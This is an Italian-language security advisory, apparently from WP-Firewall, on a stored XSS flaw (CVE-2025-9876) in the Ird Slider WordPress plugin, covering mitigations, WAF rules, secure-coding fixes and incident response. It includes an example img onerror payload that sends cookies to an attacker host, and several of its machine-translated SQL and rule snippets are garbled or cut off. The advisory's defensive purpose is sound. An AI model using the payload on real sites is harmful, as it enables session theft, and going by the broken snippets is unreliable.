Nome del plugin	Cursore Ird
Tipo di vulnerabilità	XSS memorizzato autenticato
Numero CVE	CVE-2025-9876
Urgenza	Basso
Data di pubblicazione CVE	2025-10-03
URL di origine	CVE-2025-9876

Urgente: Ird Slider <= 1.0.2 — XSS memorizzato dal collaboratore autenticato (CVE-2025-9876)

Riepilogo: Una vulnerabilità di cross-site scripting (XSS) memorizzata che interessa le versioni di Ird Slider <= 1.0.2 consente agli utenti con privilegi di collaboratore di iniettare codice JavaScript persistente che può essere eseguito nel contesto di altri utenti (inclusi gli amministratori) e visitatori del sito. Alla vulnerabilità è stata assegnata la vulnerabilità CVE-2025-9876. Al momento della stesura di questo articolo, il fornitore non ha rilasciato una patch ufficiale. In qualità di team di sicurezza WordPress che gestisce WP-Firewall, analizziamo i dettagli tecnici, le tecniche di rilevamento concrete, le mitigazioni passo passo (sia a breve termine che per sviluppatori), esempi di regole WAF per la protezione immediata e una checklist per la risposta agli incidenti.

Nota: se gestisci siti WordPress che utilizzano Ird Slider (<= 1.0.2), considera questo aspetto come prioritario per la revisione, anche se alcuni punteggi di rischio pubblici lo classificano come "basso": l'impatto reale dipende in larga misura da come viene visualizzato il contenuto dello slider e da chi può visualizzare le schermate di amministrazione del plugin.

---

Panoramica rapida del rischio

• Software interessato: plugin Ird Slider — vulnerabile nelle versioni <= 1.0.2
• Tipo di vulnerabilità: scripting cross-site archiviato (XSS persistente)
• Privilegio richiesto per lo sfruttamento: Collaboratore (autenticato)
• Codice CVE: CVE‑2025‑9876
• Stato ufficiale della patch: nessuna patch del fornitore disponibile al momento della scrittura
• Impatti tipici: furto di sessione, acquisizione dell'account amministratore, inserimento/deturpazione di contenuti, distribuzione di malware, pivoting del sito

---

Che cosa è l'XSS memorizzato e perché un collaboratore può essere pericoloso

L'XSS memorizzato si verifica quando dati non attendibili forniti da un aggressore vengono memorizzati sul server (solitamente nel database) e successivamente restituiti ad altri utenti senza un'adeguata escape o sanitizzazione. Ciò è particolarmente pericoloso quando il payload memorizzato viene eseguito nel contesto del browser di utenti con privilegi più elevati (ad esempio, editor o amministratori).

Un utente Contributor in WordPress può creare contenuti; potrebbe non essere in grado di pubblicare post, ma può creare o modificare elementi a seconda delle capacità del plugin. Se un plugin consente l'input di Contributor (ad esempio: titolo della slide, didascalia, HTML, campi URL) e memorizza tale input alla lettera, un aggressore con un account Contributor può salvare un payload dannoso. Quando un amministratore o un visitatore del sito visualizza lo slider (o la schermata di amministrazione che elenca gli elementi dello slider), il codice JavaScript viene eseguito con i privilegi del visualizzatore, il che può portare alla compromissione completa del sito.

---

Panoramica tecnica: probabile causa principale

Sebbene i dettagli di implementazione interna del plugin possano variare, le cause principali comuni nei casi XSS archiviati sono:

• L'input degli utenti autenticati non viene sanificato lato server (ad esempio, il plugin salva HTML o JS non elaborati nel DB).
• L'output non viene sottoposto a escape durante il rendering (ad esempio, echeggiando i campi grezzi nei modelli utilizzando eco $title O eco $didascalia).
• Mancanza di controlli di capacità e nonce mancanti nelle azioni amministrative.
• Se il plugin consente HTML (per didascalie avanzate), non riesce a utilizzare elenchi consentiti rigorosi (wp_kses) e invece scrive contenuti non ripuliti nel DOM.

Un tipico flusso vulnerabile:

1. Il collaboratore crea/modifica un elemento slider e inserisce: <img src="x" onerror="fetch('https://attacker/p?c='+document.cookie)"/>.
2. Il plugin memorizza questa stringa in metadati o in una tabella personalizzata.
3. Quando un amministratore apre la schermata di gestione dello slider o quando lo slider viene visualizzato su una pagina che gli amministratori possono caricare, <img> il tag viene inserito nel DOM della pagina e il suo un errore handler runs — esecuzione di JavaScript nel browser dell'amministratore.

---

Scenari di sfruttamento realistici

1. Acquisizione dell'amministratore tramite furto di sessione
   Se i cookie di autenticazione dell'amministratore non sono protetti dai flag httpOnly/secure o se il sito utilizza valori di cookie leggibili in JS, uno script on-page può esfiltrare i cookie di sessione in un endpoint controllato dall'aggressore.
2. Persistenza di script di amministrazione dannosi
   L'aggressore può aggiungere script che creano utenti amministratori aggiuntivi (se lo script riesce a raggiungere le API di amministrazione), creare post backdoor o modificare file di temi/plugin tramite chiamate AJAX mentre l'amministratore è connesso.
3. Distribuzione di malware e avvelenamento SEO
   Inietta un reindirizzamento o un iframe nascosto che invia malware o spam ai visitatori e ai motori di ricerca.
4. Raccolta di credenziali e phishing
   Visualizzare falsi moduli di amministrazione o richiedere credenziali, inviando i dati inviati all'aggressore.
5. Catena di fornitura e movimento laterale
   Una volta controllata una sessione di amministrazione, gli aggressori possono caricare plugin dannosi o modificare altri componenti del sito per mantenerli persistenti.

---

Perché CVSS e “priorità” a volte possono trarre in inganno

I punteggi CVSS pubblici (e le etichette di priorità) sono utili, ma non catturano il contesto. Un XSS che richiede un collaboratore autenticato potrebbe ottenere un punteggio inferiore rispetto a un XSS non autenticato. In pratica, la presenza di account di collaboratori (molti siti consentono la registrazione o l'utilizzo di collaboratori ospiti) e l'esposizione dell'interfaccia utente del plugin rendono questo rischio. Trattare qualsiasi XSS memorizzato in un contesto di contenuto/gestione come ad alto rischio fino a prova contraria.

---

Azioni immediate per i proprietari di siti (cosa fare SUBITO)

Se ritieni che il tuo sito utilizzi Ird Slider <= 1.0.2:

1. Disattivare temporaneamente il plugin
   • Dashboard: Plugin → disattiva Ird Slider
   • Oppure tramite WP‑CLI: plugin wp disattiva ird-slider
2. Se la disattivazione non è possibile, limitare l'accesso alle pagine del plugin
   • Limitare l'accesso a amministratore wp tramite IP o bloccare le pagine di amministrazione del plugin tramite le regole del server.
3. Controlla i conti dei collaboratori
   • Rimuovi o sospendi gli account non attendibili; reimposta le credenziali per tutti gli account che non hai creato.
4. Cerca nel database contenuti sospetti
   • Cercare <script, unerrore=, carico=, javascript:, dati: URI nelle tabelle dei plugin pertinenti o postmeta.
   • Esempi di SQL:

   -- Cerca nei post e nei postmeta: SELEZIONA ID, post_title DA wp_posts DOVE post_content COME '%

   • Ricerca WP‑CLI:

   query wp db "SELEZIONA ID, post_title DA wp_posts DOVE post_content COME '%

5. Controlla i registri e le azioni amministrative
   • Cerca accessi amministrativi sospetti, installazioni di plugin o modifiche di file.
6. Ruotare password e chiavi
   • Per precauzione, reimposta le password di amministrazione e ruota i salt di WordPress (wp-config.php AUTH_KEYS).
7. Backup
   • Eseguire uno snapshot/backup prima di apportare modifiche all'indagine sugli aiuti.
8. Isolare i siti compromessi
   • Se si sospetta una compromissione (account amministratore inaspettati, modifiche inspiegabili ai file), isolare il sito dalla rete o passare alla modalità di manutenzione.

---

Rilevamento: indicatori di compromissione e scansione

• Attività imprevista dell'amministratore (post creati, temi/plugin modificati).
• Utenti amministratori sconosciuti con diritti elevati.
• File in /wp-content/uploads/ o directory plugin con contenuto PHP (gli upload non devono contenere PHP).
• Presenza di attività pianificate non familiari (voci WP-Cron).
• Richieste in uscita dal sito verso domini sconosciuti.
• Visitatori che segnalano reindirizzamenti o contenuti iniettati.

Controlli automatici:

• Cerca sottostringhe rischiose:

query wp db "SELECT option_name FROM wp_options WHERE option_value LIKE '%onerror=%' OR option_value LIKE '%

• Grep webroot per possibili webshell:

grep -R --include=*.php -n "eval(" /percorso/verso/wordpress grep -R --include=*.php -n "decodifica_base64" /percorso/verso/wordpress

---

Patching virtuale a breve termine: regole ed esempi WAF

Se non è possibile aggiornare o rimuovere immediatamente il plugin, un WAF (web application firewall) può bloccare i tentativi di exploit. Di seguito sono riportati alcuni esempi di regole che tu o il tuo host potete utilizzare: adattateli attentamente al vostro ambiente e verificate la presenza di falsi positivi.

Nota: le regole seguenti sono illustrative (stile ModSecurity). Eseguire prima il test in fase di staging.

• Tag di script di blocco nei POST relativi allo slider (base):

SecRule REQUEST_URI "@contains ird-slider" "id:10001,phase:2,deny,status:403,msg:'IRD Slider XSS - tag script a blocchi',t:none,chain" SecRule ARGS|ARGS_NAMES|REQUEST_BODY "@rx <\s*script" "t:lowercase"

• Blocca gli attributi del gestore degli eventi (onerror, onload, onclick) nei corpi dei POST:

SecRule REQUEST_BODY "@rx on(error|load|click|mouseover|mouseenter|focus)\s*=" "id:10002,phase:2,deny,log,msg:'IRD Slider XSS - blocca i gestori degli eventi',t:none"

• Blocca javascript: URI e URI dati:

SecRule REQUEST_BODY "@rx javascript\s*:" "id:10003,phase:2,deny,log,msg:'IRD Slider XSS - blocca javascript: URI'" SecRule REQUEST_BODY "@rx data:text/html;base64" "id:10004,phase:2,deny,log,msg:'IRD Slider XSS - blocca i dati URI'"

• Modello generico per bloccare i payload JS base64:

SecRule REQUEST_BODY "@rx ([A-Za-z0-9+/]{100,}=*)" "id:10005,phase:2,deny,log,msg:'Possibile payload codificato',t:none"

• Blocca le richieste contenenti marcatori di payload XSS comuni quando provengono da account Contributor autenticati (rilevamento basato sui cookie):

SecRule REQUEST_HEADERS:Cookie "@rx wordpress_logged_in_" "catena, id:10006,fase:2,pass,nolog" SecRule REQUEST_BODY "@rx (

Note importanti sulla progettazione:

• Le regole WAF possono bloccare input HTML avanzati legittimi (falsi positivi). Se il plugin consente l'uso di HTML autentico nelle didascalie, è necessario adattare le regole ai campi e agli endpoint specifici del plugin.
• Si consiglia di inserire nella whitelist gli IP di amministrazione validi e noti per le pagine di amministrazione dei plugin, lasciando attivo il WAF per gli endpoint pubblici.

---

Correzioni rivolte agli sviluppatori (come dovrebbe essere modificato il plugin)

Gli autori dei plugin devono applicare la difesa approfondita:

1. Sanificazione degli input lato server
   • Se i campi devono essere in testo normale: utilizzare sanitize_text_field() O sanitize_textarea_field().
   • Se è consentito l'HTML limitato: utilizzare wp_kses() con una lista consentita rigorosa.

   Esempio: salvataggio di una didascalia che consente tag limitati:

   $allowed_tags = array( 'a' => array('href'=>array(), 'title'=>array(), 'rel'=>array()), 'em' => array(), 'strong' => array(), 'br' => array(), 'span' => array('class'=>array()), ); $caption = isset($_POST['caption']) ? wp_kses( $_POST['caption'], $allowed_tags ) : ''; update_post_meta( $slider_item_id, '_caption', $caption );

2. Uscita di escape durante il rendering
   • Esegui sempre l'output all'ultimo momento possibile: esc_html(), esc_attr(), esc_url(), O wp_kses_post() come appropriato.

   Esempio: eco sicuro:

   eco &#039;<h3 class="slide-title">&#039; . esc_html( $slide_title ) . &#039;</h3>&#039;; eco &#039;<div class="slide-caption">&#039; . wp_kses( $slide_caption, $allowed_tags ) . &#039;</div>';

3. Controlli di capacità e nonce
   • Verificare le capacità dell'utente per ogni azione amministrativa:

   if ( ! current_user_can( 'edit_posts' ) ) { wp_die( 'Autorizzazioni insufficienti' ); }

   • Utilizzo check_admin_referer() per convalidare i nonce negli invii dei moduli.
4. Evitare di memorizzare HTML non filtrato a meno che non sia assolutamente necessario
   • Se devi consentire HTML arbitrario, limitalo ai ruoli attendibili (amministratore/editor) e continua ad applicare wp_kses o un parser più rigoroso.
5. Utilizzare istruzioni preparate per SQL ed evitare scritture dirette sul DB senza convalida.
6. Registrazione
   • Aggiungere la registrazione degli input sospetti e dei controlli di capacità non riusciti per i futuri audit.
7. Test unitari e fuzzing
   • Aggiungere casi di test che simulano il salvataggio e il rendering di payload dannosi per garantire che l'escape rimanga efficace.

---

Esempio di patch per un ipotetico gestore di salvataggio

Di seguito è riportato un esempio semplificato che mostra come una funzione di salvataggio dovrebbe ripulire gli input:

function ird_slider_save_item() { if ( ! isset( $_POST['ird_slider_nonce'] ) || ! wp_verify_nonce( $_POST['ird_slider_nonce'], 'ird_slider_save' ) ) { wp_die( 'Verifica nonce fallita' ); } if ( ! current_user_can( 'edit_posts' ) ) { wp_die( 'Autorizzazioni insufficienti' ); } $title = isset( $_POST['title'] ) ? sanitize_text_field( wp_unslash( $_POST['title'] ) ) : ''; $caption = isset( $_POST['caption'] ) ? wp_kses_post( wp_unslash( $_POST['caption'] ) ) : ''; $link = isset( $_POST['link'] ) ? esc_url_raw( wp_unslash( $_POST['link'] ) ) : ''; $data = array( 'title' => $title, 'caption' => $caption, 'link' => $link, ); // Salva i dati sanificati nel DB... }

---

Lista di controllo post-compromesso e risposta agli incidenti

Se trovi prove di un exploit riuscito:

1. Preservare le prove
   • Crea uno snapshot di sola lettura del file system e del database per scopi forensi.
2. Rimuovere contenuti dannosi
   • Rimuovi i payload dagli elementi slider, dai post e dalle opzioni. Utilizza query di ricerca accurate e una revisione manuale.
3. Ruota credenziali e segreti
   • Forzare il ripristino delle password per tutti gli account amministratore/editor; ruotare le chiavi API e aggiornare i salt WP.
4. Controllare i meccanismi di persistenza
   • Ispezionare plugin, temi e caricamenti per individuare webshell/backdoor e file PHP inaspettati.
5. Revoca sessioni
   • Utilizzo wp_destroy_current_session() o modificare i sali per invalidare le sessioni.
6. Ripristina dal backup pulito, se disponibile
   • Se è stato eseguito un backup pulito prima della compromissione, ripristinarlo e convalidarlo.
7. Esegui una scansione di sicurezza completa
   • Esegui la scansione del file system alla ricerca di modelli di codice dannosi (base64, eval, gzinflate, ecc.) e attività pianificate sconosciute.
8. Indurire e monitorare
   • Applicare le mitigazioni per sviluppatori e WAF sopra indicate. Avviare il monitoraggio continuo e l'aggregazione dei log per rilevare attività insolite.
9. Divulgazione alle parti interessate
   • Una volta completato il contenimento, avvisare i proprietari del sito, gli amministratori e, se necessario, i clienti.

---

Raccomandazioni di rafforzamento oltre questo problema

• Limitare i ruoli utente e applicare i privilegi minimi (esaminare le capacità dei collaboratori).
• Rimuovi i plugin e i temi non utilizzati.
• Mantieni aggiornati il core, i temi e i plugin di WordPress.
• Applicare criteri di password complesse e 2FA per gli account con privilegi elevati.
• Utilizzare le intestazioni di sicurezza HTTP: Content‑Security‑Policy (CSP), X‑Content‑Type‑Options, X‑Frame‑Options, Referrer‑Policy.
• Imposta i cookie con i flag Secure e HttpOnly e prendi in considerazione SameSite.
• Eseguire regolarmente la scansione del sito (automaticamente e manualmente) per individuare indicatori di compromissione.

---

Esempio di Content‑Security‑Policy per ridurre l'impatto di XSS

Un CSP rigoroso può ridurre il raggio di azione degli XSS impedendo gli script in linea e limitando le fonti di script consentite. Questa soluzione è difensiva e utile in attesa di una patch, ma richiede test accurati.

Esempio di intestazione (inizia in modo conservativo, esegui prima il test):

Content-Security-Policy: default-src 'self' https:; script-src 'self' 'nonce- '; object-src 'nessuno'; base-uri 'self'; frame-ancestors 'nessuno';

Nota: l'aggiunta di CSP a un sito WordPress dinamico richiede la generazione di nonce e l'aggiornamento di script in linea, pertanto considera CSP come una fase di rafforzamento a medio termine.

---

Divulgazione responsabile e coordinamento dei fornitori

Se sei un ricercatore o un proprietario di un sito che ha scoperto l'exploit, contatta l'autore del plugin e fornisci passaggi, payload e prove riproducibili. Se il fornitore è lento a rispondere, considera tempi di divulgazione responsabili e conservazione delle prove. Per i proprietari di siti: applica immediatamente le misure di mitigazione di cui sopra, non aspettare una patch del fornitore.

---

Come WP-Firewall ti aiuta ora

Se gestisci siti WordPress e desideri una protezione immediata mentre aspetti una patch del fornitore, offriamo regole firewall gestite, patch virtuali e scansione continua che aiutano a bloccare i tentativi di exploit e a rilevare attività sospette.

Inizia con il piano gratuito di WP-Firewall: protezione essenziale per ogni sito WordPress

Proteggi subito il tuo sito con il nostro piano Basic (gratuito), che include:

• Firewall gestito con regole personalizzate ottimizzate per WordPress
• Larghezza di banda illimitata e protezione WAF
• Scanner e rilevamento di malware
• Copertura di mitigazione per i 10 principali rischi OWASP

Registrati e attiva subito la protezione: https://my.wp-firewall.com/buy/wp-firewall-free-plan/

(Offriamo anche i livelli Standard e Pro per la rimozione automatica, l'inserimento in blacklist/whitelist, report mensili, patch virtuali e servizi di sicurezza gestiti.)

---

Lista di controllo per gli sviluppatori per prevenire vulnerabilità simili in futuro

• Convalida e sanifica ogni input, anche quello degli utenti autenticati.
• Evita ogni output utilizzando la funzione di escape corretta.
• Applicare controlli di capacità e nonce su ogni azione che modifica lo stato.
• Evitare non filtrato_html utilizzo della capacità a meno che non sia strettamente necessario.
• Utilizzo wp_kses() con liste di autorizzazione esplicite se l'HTML è accettato.
• Aggiungere test unitari e di integrazione che affermino che i payload XSS vengono neutralizzati prima del rendering.
• Si consiglia di effettuare revisioni o audit di sicurezza per il codice che gestisce i contenuti degli utenti.

---

Note finali e tempi consigliati per i proprietari del sito

1. Immediato (ore): Disattivare il plugin o bloccare l'accesso agli endpoint del plugin; sospendere gli account dei collaboratori sospetti; applicare regole WAF che bloccano i payload comuni.
2. Breve termine (1–3 giorni): Scansiona e pulisci database e file system; ruota le credenziali; convalida l'integrità del sito.
3. Medio termine (1–4 settimane): Collaborare con il fornitore del plugin per ottenere una versione patchata; applicare patch e aggiornamenti permanenti; abilitare CSP e monitoraggio continuo.
4. A lungo termine: Adottare privilegi minimi, scansioni pianificate e protezioni perimetrali gestite.

Stored XSS è una delle classi di vulnerabilità più sfruttate a causa della sua persistenza e della facilità con cui può essere escalata. Se il tuo sito utilizza Ird Slider (<= 1.0.2), consideralo un problema suscettibile di intervento. Segui i passaggi precedenti, proteggi le sessioni di amministrazione e implementa i controlli perimetrali in attesa di una correzione da parte del fornitore.

---

Se lo desideri, possiamo fornirti:

• Un set di regole WAF personalizzato, adattato al tuo ambiente (preparato e testato).
• Un manuale di pulizia dettagliato e personalizzato per il tuo sito, con percorsi esatti di file e SQL da ispezionare.
• Assistenza per rilevare se un payload XSS archiviato è già stato eseguito nell'ambiente di amministrazione.

Contatta il nostro team di supporto o attiva subito il piano WP-Firewall Basic (gratuito): https://my.wp-firewall.com/buy/wp-firewall-free-plan/